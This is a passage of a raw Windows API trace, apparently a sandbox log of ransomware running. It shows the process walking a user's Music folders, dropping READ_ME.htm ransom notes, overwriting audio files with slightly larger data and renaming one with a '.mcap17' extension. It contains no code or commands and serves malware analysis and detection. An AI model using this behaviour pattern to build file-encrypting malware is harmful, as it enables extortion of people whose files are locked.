ftLastAccessTime.dwLowDateTime=0xf7c5ead0, ftLastAccessTime.dwHighDateTime=0x1d8ba51, ftLastWriteTime.dwLowDateTime=0xf7c5ead0, ftLastWriteTime.dwHighDateTime=0x1d8ba51, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0155.535] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x90d42160, ftCreationTime.dwHighDateTime=0x1d8b4f8, ftLastAccessTime.dwLowDateTime=0xf7c5ead0, ftLastAccessTime.dwHighDateTime=0x1d8ba51, ftLastWriteTime.dwLowDateTime=0xf7c5ead0, ftLastWriteTime.dwHighDateTime=0x1d8ba51, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0155.535] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x90d42160, ftCreationTime.dwHighDateTime=0x1d8b4f8, ftLastAccessTime.dwLowDateTime=0xf7c5ead0, ftLastAccessTime.dwHighDateTime=0x1d8ba51, ftLastWriteTime.dwLowDateTime=0xf7c5ead0, ftLastWriteTime.dwHighDateTime=0x1d8ba51, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0155.535] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0155.555] SetErrorMode (uMode=0x0) returned 0x1 [0155.555] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\0Gi9jAAneSNZB2RiMYa\\xj33qSuSEZnHrj-zW\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ce30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\0Gi9jAAneSNZB2RiMYa\\xj33qSuSEZnHrj-zW\\READ_ME.htm", lpFilePart=0x0) returned 0x4a [0155.555] SetErrorMode (uMode=0x1) returned 0x0 [0155.555] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\0Gi9jAAneSNZB2RiMYa\\xj33qSuSEZnHrj-zW\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\music\\0gi9jaanesnzb2rimya\\xj33qsuseznhrj-zw\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0155.556] GetFileType (hFile=0x1d0) returned 0x1 [0155.556] SetErrorMode (uMode=0x0) returned 0x1 [0155.556] GetFileType (hFile=0x1d0) returned 0x1 [0155.557] WriteFile (in: hFile=0x1d0, lpBuffer=0x2a34d98*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d398, lpOverlapped=0x0 | out: lpBuffer=0x2a34d98*, lpNumberOfBytesWritten=0x21d398*=0x720, lpOverlapped=0x0) returned 1 [0155.558] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\0Gi9jAAneSNZB2RiMYa\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cef0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\0Gi9jAAneSNZB2RiMYa\\READ_ME.htm", lpFilePart=0x0) returned 0x38 [0155.558] SetErrorMode (uMode=0x1) returned 0x0 [0155.558] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\0Gi9jAAneSNZB2RiMYa\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\music\\0gi9jaanesnzb2rimya\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0155.575] GetFileType (hFile=0x1d0) returned 0x1 [0155.575] SetErrorMode (uMode=0x0) returned 0x1 [0155.576] GetFileType (hFile=0x1d0) returned 0x1 [0155.576] WriteFile (in: hFile=0x1d0, lpBuffer=0x2a39348*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d458, lpOverlapped=0x0 | out: lpBuffer=0x2a39348*, lpNumberOfBytesWritten=0x21d458*=0x720, lpOverlapped=0x0) returned 1 [0155.578] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\4waS", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\4waS", lpFilePart=0x0) returned 0x1d [0155.578] SetErrorMode (uMode=0x1) returned 0x0 [0155.578] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\4waS\\*" (normalized: "c:\\users\\keecfmwgj\\music\\4was\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe7c64620, ftCreationTime.dwHighDateTime=0x1d8b9c0, ftLastAccessTime.dwLowDateTime=0xbb42bd80, ftLastAccessTime.dwHighDateTime=0x1d8be3f, ftLastWriteTime.dwLowDateTime=0xbb42bd80, ftLastWriteTime.dwHighDateTime=0x1d8be3f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0155.579] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe7c64620, ftCreationTime.dwHighDateTime=0x1d8b9c0, ftLastAccessTime.dwLowDateTime=0xbb42bd80, ftLastAccessTime.dwHighDateTime=0x1d8be3f, ftLastWriteTime.dwLowDateTime=0xbb42bd80, ftLastWriteTime.dwHighDateTime=0x1d8be3f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0155.579] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7a4a9a50, ftCreationTime.dwHighDateTime=0x1d8b89f, ftLastAccessTime.dwLowDateTime=0xb1192c80, ftLastAccessTime.dwHighDateTime=0x1d8bfc1, ftLastWriteTime.dwLowDateTime=0xb1192c80, ftLastWriteTime.dwHighDateTime=0x1d8bfc1, nFileSizeHigh=0x0, nFileSizeLow=0x16946, dwReserved0=0x0, dwReserved1=0x0, cFileName="aice20.m4a", cAlternateFileName="")) returned 1 [0155.579] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6f3db000, ftCreationTime.dwHighDateTime=0x1d8b9e6, ftLastAccessTime.dwLowDateTime=0xa570c690, ftLastAccessTime.dwHighDateTime=0x1d8c039, ftLastWriteTime.dwLowDateTime=0xa570c690, ftLastWriteTime.dwHighDateTime=0x1d8c039, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bdv8RAzkZflDNMLATEh", cAlternateFileName="BDV8RA~1")) returned 1 [0155.579] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x48adf160, ftCreationTime.dwHighDateTime=0x1d8b5a5, ftLastAccessTime.dwLowDateTime=0x64be0f20, ftLastAccessTime.dwHighDateTime=0x1d8b94c, ftLastWriteTime.dwLowDateTime=0x64be0f20, ftLastWriteTime.dwHighDateTime=0x1d8b94c, nFileSizeHigh=0x0, nFileSizeLow=0x13a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sW3Mzsz kd96K.wav", cAlternateFileName="SW3MZS~1.WAV")) returned 1 [0155.579] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x48adf160, ftCreationTime.dwHighDateTime=0x1d8b5a5, ftLastAccessTime.dwLowDateTime=0x64be0f20, ftLastAccessTime.dwHighDateTime=0x1d8b94c, ftLastWriteTime.dwLowDateTime=0x64be0f20, ftLastWriteTime.dwHighDateTime=0x1d8b94c, nFileSizeHigh=0x0, nFileSizeLow=0x13a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sW3Mzsz kd96K.wav", cAlternateFileName="SW3MZS~1.WAV")) returned 0 [0155.580] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0155.581] SetErrorMode (uMode=0x0) returned 0x1 [0155.581] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\4waS", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\4waS", lpFilePart=0x0) returned 0x1d [0155.581] SetErrorMode (uMode=0x1) returned 0x0 [0155.581] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\4waS\\*" (normalized: "c:\\users\\keecfmwgj\\music\\4was\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe7c64620, ftCreationTime.dwHighDateTime=0x1d8b9c0, ftLastAccessTime.dwLowDateTime=0xbb42bd80, ftLastAccessTime.dwHighDateTime=0x1d8be3f, ftLastWriteTime.dwLowDateTime=0xbb42bd80, ftLastWriteTime.dwHighDateTime=0x1d8be3f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0155.582] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe7c64620, ftCreationTime.dwHighDateTime=0x1d8b9c0, ftLastAccessTime.dwLowDateTime=0xbb42bd80, ftLastAccessTime.dwHighDateTime=0x1d8be3f, ftLastWriteTime.dwLowDateTime=0xbb42bd80, ftLastWriteTime.dwHighDateTime=0x1d8be3f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0155.582] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7a4a9a50, ftCreationTime.dwHighDateTime=0x1d8b89f, ftLastAccessTime.dwLowDateTime=0xb1192c80, ftLastAccessTime.dwHighDateTime=0x1d8bfc1, ftLastWriteTime.dwLowDateTime=0xb1192c80, ftLastWriteTime.dwHighDateTime=0x1d8bfc1, nFileSizeHigh=0x0, nFileSizeLow=0x16946, dwReserved0=0x0, dwReserved1=0x0, cFileName="aice20.m4a", cAlternateFileName="")) returned 1 [0155.582] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6f3db000, ftCreationTime.dwHighDateTime=0x1d8b9e6, ftLastAccessTime.dwLowDateTime=0xa570c690, ftLastAccessTime.dwHighDateTime=0x1d8c039, ftLastWriteTime.dwLowDateTime=0xa570c690, ftLastWriteTime.dwHighDateTime=0x1d8c039, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bdv8RAzkZflDNMLATEh", cAlternateFileName="BDV8RA~1")) returned 1 [0155.582] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x48adf160, ftCreationTime.dwHighDateTime=0x1d8b5a5, ftLastAccessTime.dwLowDateTime=0x64be0f20, ftLastAccessTime.dwHighDateTime=0x1d8b94c, ftLastWriteTime.dwLowDateTime=0x64be0f20, ftLastWriteTime.dwHighDateTime=0x1d8b94c, nFileSizeHigh=0x0, nFileSizeLow=0x13a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sW3Mzsz kd96K.wav", cAlternateFileName="SW3MZS~1.WAV")) returned 1 [0155.583] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x48adf160, ftCreationTime.dwHighDateTime=0x1d8b5a5, ftLastAccessTime.dwLowDateTime=0x64be0f20, ftLastAccessTime.dwHighDateTime=0x1d8b94c, ftLastWriteTime.dwLowDateTime=0x64be0f20, ftLastWriteTime.dwHighDateTime=0x1d8b94c, nFileSizeHigh=0x0, nFileSizeLow=0x13a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sW3Mzsz kd96K.wav", cAlternateFileName="SW3MZS~1.WAV")) returned 0 [0155.583] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0155.583] SetErrorMode (uMode=0x0) returned 0x1 [0155.583] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\4waS\\aice20.m4a", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\4waS\\aice20.m4a", lpFilePart=0x0) returned 0x28 [0155.583] SetErrorMode (uMode=0x1) returned 0x0 [0155.583] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\4waS\\aice20.m4a" (normalized: "c:\\users\\keecfmwgj\\music\\4was\\aice20.m4a"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0155.584] GetFileType (hFile=0x1d0) returned 0x1 [0155.584] SetErrorMode (uMode=0x0) returned 0x1 [0155.584] GetFileType (hFile=0x1d0) returned 0x1 [0155.584] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d538 | out: lpFileSizeHigh=0x21d538*=0x0) returned 0x16946 [0155.585] ReadFile (in: hFile=0x1d0, lpBuffer=0x128032a0, nNumberOfBytesToRead=0x16946, lpNumberOfBytesRead=0x21d418, lpOverlapped=0x0 | out: lpBuffer=0x128032a0*, lpNumberOfBytesRead=0x21d418*=0x16946, lpOverlapped=0x0) returned 1 [0155.668] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\4waS\\aice20.m4a", nBufferLength=0x105, lpBuffer=0x21cee0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\4waS\\aice20.m4a", lpFilePart=0x0) returned 0x28 [0155.668] SetErrorMode (uMode=0x1) returned 0x0 [0155.668] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\4waS\\aice20.m4a" (normalized: "c:\\users\\keecfmwgj\\music\\4was\\aice20.m4a"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0155.670] GetFileType (hFile=0x1d0) returned 0x1 [0155.670] SetErrorMode (uMode=0x0) returned 0x1 [0155.670] GetFileType (hFile=0x1d0) returned 0x1 [0155.670] WriteFile (in: hFile=0x1d0, lpBuffer=0x128741a8*, nNumberOfBytesToWrite=0x16950, lpNumberOfBytesWritten=0x21d498, lpOverlapped=0x0 | out: lpBuffer=0x128741a8*, lpNumberOfBytesWritten=0x21d498*=0x16950, lpOverlapped=0x0) returned 1 [0155.672] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\4waS\\aice20.m4a", nBufferLength=0x105, lpBuffer=0x21d170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\4waS\\aice20.m4a", lpFilePart=0x0) returned 0x28 [0155.673] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\4waS\\aice20.m4a.mcap17", nBufferLength=0x105, lpBuffer=0x21d170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\4waS\\aice20.m4a.mcap17", lpFilePart=0x0) returned 0x2f [0155.673] SetErrorMode (uMode=0x1) returned 0x0 [0155.673] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\4waS\\aice20.m4a" (normalized: "c:\\users\\keecfmwgj\\music\\4was\\aice20.m4a"), fInfoLevelId=0x0, lpFileInformation=0x21d3c0 | out: lpFileInformation=0x21d3c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7a4a9a50, ftCreationTime.dwHighDateTime=0x1d8b89f, ftLastAccessTime.dwLowDateTime=0xb1192c80, ftLastAccessTime.dwHighDateTime=0x1d8bfc1, ftLastWriteTime.dwLowDateTime=0x59438780, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x16950)) returned 1 [0155.673] SetErrorMode (uMode=0x0) returned 0x1 [0155.673] MoveFileW (lpExistingFileName="C:\\Users\\kEecfMwgj\\Music\\4waS\\aice20.m4a" (normalized: "c:\\users\\keecfmwgj\\music\\4was\\aice20.m4a"), lpNewFileName="C:\\Users\\kEecfMwgj\\Music\\4waS\\aice20.m4a.mcap17" (normalized: "c:\\users\\keecfmwgj\\music\\4was\\aice20.m4a.mcap17")) returned 1 [0155.679] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\4waS\\Bdv8RAzkZflDNMLATEh", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\4waS\\Bdv8RAzkZflDNMLATEh", lpFilePart=0x0) returned 0x31 [0155.679] SetErrorMode (uMode=0x1) returned 0x0 [0155.679] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\4waS\\Bdv8RAzkZflDNMLATEh\\*" (normalized: "c:\\users\\keecfmwgj\\music\\4was\\bdv8razkzfldnmlateh\\*"), lpFindFileData=0x21d130 | out: lpFindFileData=0x21d130*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6f3db000, ftCreationTime.dwHighDateTime=0x1d8b9e6, ftLastAccessTime.dwLowDateTime=0xa570c690, ftLastAccessTime.dwHighDateTime=0x1d8c039, ftLastWriteTime.dwLowDateTime=0xa570c690, ftLastWriteTime.dwHighDateTime=0x1d8c039, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0155.680] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6f3db000, ftCreationTime.dwHighDateTime=0x1d8b9e6, ftLastAccessTime.dwLowDateTime=0xa570c690, ftLastAccessTime.dwHighDateTime=0x1d8c039, ftLastWriteTime.dwLowDateTime=0xa570c690, ftLastWriteTime.dwHighDateTime=0x1d8c039, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0155.680] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f3ac110, ftCreationTime.dwHighDateTime=0x1d8b1bb, ftLastAccessTime.dwLowDateTime=0xb083b760, ftLastAccessTime.dwHighDateTime=0x1d8b87b, ftLastWriteTime.dwLowDateTime=0xb083b760, ftLastWriteTime.dwHighDateTime=0x1d8b87b, nFileSizeHigh=0x0, nFileSizeLow=0x10135, dwReserved0=0x0, dwReserved1=0x0, cFileName="1ikD6bilPzZotlbp42Yc.wav", cAlternateFileName="1IKD6B~1.WAV")) returned 1 [0155.680] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3586ae0, ftCreationTime.dwHighDateTime=0x1d8b6bd, ftLastAccessTime.dwLowDateTime=0x95579f20, ftLastAccessTime.dwHighDateTime=0x1d8ba05, ftLastWriteTime.dwLowDateTime=0x95579f20, ftLastWriteTime.dwHighDateTime=0x1d8ba05, nFileSizeHigh=0x0, nFileSizeLow=0x10dbe, dwReserved0=0x0, dwReserved1=0x0, cFileName="NQCTNIlxI_x-Dq6-5.wav", cAlternateFileName="NQCTNI~1.WAV")) returned 1 [0155.680] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6f23b70, ftCreationTime.dwHighDateTime=0x1d8b8af, ftLastAccessTime.dwLowDateTime=0xfcc9dcb0, ftLastAccessTime.dwHighDateTime=0x1d8c0de, ftLastWriteTime.dwLowDateTime=0xfcc9dcb0, ftLastWriteTime.dwHighDateTime=0x1d8c0de, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Oou2aAo6ewKsoQ9_", cAlternateFileName="OOU2AA~1")) returned 1 [0155.680] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd6677c60, ftCreationTime.dwHighDateTime=0x1d8ba3c, ftLastAccessTime.dwLowDateTime=0x4e8e0890, ftLastAccessTime.dwHighDateTime=0x1d8bb18, ftLastWriteTime.dwLowDateTime=0x4e8e0890, ftLastWriteTime.dwHighDateTime=0x1d8bb18, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="X92qh-N07jHhGwpJ3t4", cAlternateFileName="X92QH-~1")) returned 1 [0155.680] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbb6fa610, ftCreationTime.dwHighDateTime=0x1d8b41c, ftLastAccessTime.dwLowDateTime=0xe1c640c0, ftLastAccessTime.dwHighDateTime=0x1d8bd96, ftLastWriteTime.dwLowDateTime=0xe1c640c0, ftLastWriteTime.dwHighDateTime=0x1d8bd96, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="_5hWa8db7rvReOJ3u", cAlternateFileName="_5HWA8~1")) returned 1 [0155.680] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbb6fa610, ftCreationTime.dwHighDateTime=0x1d8b41c, ftLastAccessTime.dwLowDateTime=0xe1c640c0, ftLastAccessTime.dwHighDateTime=0x1d8bd96, ftLastWriteTime.dwLowDateTime=0xe1c640c0, ftLastWriteTime.dwHighDateTime=0x1d8bd96, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="_5hWa8db7rvReOJ3u", cAlternateFileName="_5HWA8~1")) returned 0 [0155.681] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0155.681] SetErrorMode (uMode=0x0) returned 0x1 [0155.681] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\4waS\\Bdv8RAzkZflDNMLATEh", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\4waS\\Bdv8RAzkZflDNMLATEh", lpFilePart=0x0) returned 0x31 [0155.681] SetErrorMode (uMode=0x1) returned 0x0 [0155.682] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\4waS\\Bdv8RAzkZflDNMLATEh\\*" (normalized: "c:\\users\\keecfmwgj\\music\\4was\\bdv8razkzfldnmlateh\\*"), lpFindFileData=0x21d130 | out: lpFindFileData=0x21d130*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6f3db000, ftCreationTime.dwHighDateTime=0x1d8b9e6, ftLastAccessTime.dwLowDateTime=0xa570c690, ftLastAccessTime.dwHighDateTime=0x1d8c039, ftLastWriteTime.dwLowDateTime=0xa570c690, ftLastWriteTime.dwHighDateTime=0x1d8c039, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0155.682] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6f3db000, ftCreationTime.dwHighDateTime=0x1d8b9e6, ftLastAccessTime.dwLowDateTime=0xa570c690, ftLastAccessTime.dwHighDateTime=0x1d8c039, ftLastWriteTime.dwLowDateTime=0xa570c690, ftLastWriteTime.dwHighDateTime=0x1d8c039, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0155.682] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f3ac110, ftCreationTime.dwHighDateTime=0x1d8b1bb, ftLastAccessTime.dwLowDateTime=0xb083b760, ftLastAccessTime.dwHighDateTime=0x1d8b87b, ftLastWriteTime.dwLowDateTime=0xb083b760, ftLastWriteTime.dwHighDateTime=0x1d8b87b, nFileSizeHigh=0x0, nFileSizeLow=0x10135, dwReserved0=0x0, dwReserved1=0x0, cFileName="1ikD6bilPzZotlbp42Yc.wav", cAlternateFileName="1IKD6B~1.WAV")) returned 1 [0155.682] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3586ae0, ftCreationTime.dwHighDateTime=0x1d8b6bd, ftLastAccessTime.dwLowDateTime=0x95579f20, ftLastAccessTime.dwHighDateTime=0x1d8ba05, ftLastWriteTime.dwLowDateTime=0x95579f20, ftLastWriteTime.dwHighDateTime=0x1d8ba05, nFileSizeHigh=0x0, nFileSizeLow=0x10dbe, dwReserved0=0x0, dwReserved1=0x0, cFileName="NQCTNIlxI_x-Dq6-5.wav", cAlternateFileName="NQCTNI~1.WAV")) returned 1 [0155.682] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6f23b70, ftCreationTime.dwHighDateTime=0x1d8b8af, ftLastAccessTime.dwLowDateTime=0xfcc9dcb0, ftLastAccessTime.dwHighDateTime=0x1d8c0de, ftLastWriteTime.dwLowDateTime=0xfcc9dcb0, ftLastWriteTime.dwHighDateTime=0x1d8c0de, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Oou2aAo6ewKsoQ9_", cAlternateFileName="OOU2AA~1")) returned 1 [0155.682] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd6677c60, ftCreationTime.dwHighDateTime=0x1d8ba3c, ftLastAccessTime.dwLowDateTime=0x4e8e0890, ftLastAccessTime.dwHighDateTime=0x1d8bb18, ftLastWriteTime.dwLowDateTime=0x4e8e0890, ftLastWriteTime.dwHighDateTime=0x1d8bb18, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="X92qh-N07jHhGwpJ3t4", cAlternateFileName="X92QH-~1")) returned 1 [0155.682] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbb6fa610, ftCreationTime.dwHighDateTime=0x1d8b41c, ftLastAccessTime.dwLowDateTime=0xe1c640c0, ftLastAccessTime.dwHighDateTime=0x1d8bd96, ftLastWriteTime.dwLowDateTime=0xe1c640c0, ftLastWriteTime.dwHighDateTime=0x1d8bd96, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="_5hWa8db7rvReOJ3u", cAlternateFileName="_5HWA8~1")) returned 1 [0155.682] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbb6fa610, ftCreationTime.dwHighDateTime=0x1d8b41c, ftLastAccessTime.dwLowDateTime=0xe1c640c0, ftLastAccessTime.dwHighDateTime=0x1d8bd96, ftLastWriteTime.dwLowDateTime=0xe1c640c0, ftLastWriteTime.dwHighDateTime=0x1d8bd96, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, 